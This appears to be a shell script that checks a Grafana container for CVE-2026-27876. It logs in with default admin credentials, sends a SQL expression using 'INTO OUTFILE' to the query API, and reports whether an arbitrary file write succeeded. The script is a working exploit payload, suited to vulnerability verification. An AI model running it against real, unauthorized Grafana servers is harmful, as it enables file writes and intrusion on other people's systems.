#!/bin/sh
# Test script for CVE-2026-27876 - run inside Grafana container

GRAFANA_URL="http://127.0.0.1:3000"
COOKIE_JAR="/tmp/grafana_cookies.txt"

echo "=== Testing CVE-2026-27876 ==="

# Step 1: Login
echo "[1/4] Logging in..."
LOGIN_RESPONSE=$(curl -s -X POST "$GRAFANA_URL/login" \
    -H "Content-Type: application/json" \
    -d '{"user":"admin","password":"admin"}' \
    -c "$COOKIE_JAR" 2>&1)

echo "Login response: $LOGIN_RESPONSE"

if ! echo "$LOGIN_RESPONSE" | grep -q "Logged in"; then
    echo "ERROR: Login failed"
    exit 1
fi

# Step 2: Check feature toggles
echo "[2/4] Checking feature toggles..."
curl -s "$GRAFANA_URL/api/frontend/settings" \
    -b "$COOKIE_JAR" \
    -o /tmp/frontend_settings.json 2>&1

if grep -q '"sqlExpressions".*true' /tmp/frontend_settings.json 2>/dev/null; then
    echo "sqlExpressions is ENABLED"
else
    echo "WARNING: sqlExpressions status unclear"
fi

# Step 3: Test SQL expression with INTO clause
echo "[3/4] Testing SQL expression with INTO clause..."

# The exploit payload
PAYLOAD='{
    "queries": [
        {
            "refId": "A",
            "datasource": {
                "type": "__expr__",
                "uid": "__expr__"
            },
            "type": "sql",
            "expression": "SELECT 1 as test_col INTO OUTFILE '/tmp/cve_test_result.txt'"
        }
    ],
    "from": "now-1h",
    "to": "now"
}'

echo "Request payload:"
echo "$PAYLOAD"
echo ""

HTTP_STATUS=$(curl -s -w "%{http_code}" -X POST "$GRAFANA_URL/api/ds/query?ds_type=__expr__&expression=true" \
    -H "Content-Type: application/json" \
    -b "$COOKIE_JAR" \
    -d "$PAYLOAD" \
    -o /tmp/sql_response.json \
    2>&1)

echo "HTTP Status: $HTTP_STATUS"
echo "Response:"
cat /tmp/sql_response.json
echo ""

# Step 4: Check if file was created
echo "[4/4] Checking if file was created..."
sleep 2

if [ -f /tmp/cve_test_result.txt ]; then
    echo "=== VULNERABILITY CONFIRMED ==="
    echo "File was created:"
    ls -la /tmp/cve_test_result.txt
    echo "Content:"
    cat /tmp/cve_test_result.txt
    echo ""
    echo "CVE-2026-27876 is exploitable - arbitrary file write via SQL INTO"
    exit 0
else
    echo "File not created. Analyzing response..."
    
    RESPONSE=$(cat /tmp/sql_response.json)
    
    # Check for blocking indicators
    if echo "$RESPONSE" | grep -qi "blocked\|not.*supported\|not.*allowed"; then
        echo "Query was blocked by security controls"
        echo "CVE-2026-27876 appears to be PATCHED"
        exit 1
    fi
    
    # Check for error messages
    if echo "$RESPONSE" | grep -qi "error\|invalid"; then
        echo "Query returned error: $RESPONSE"
        echo "May be patched or backend doesn't support INTO"
        exit 1
    fi
    
    echo "Inconclusive result"
    exit 1
fi
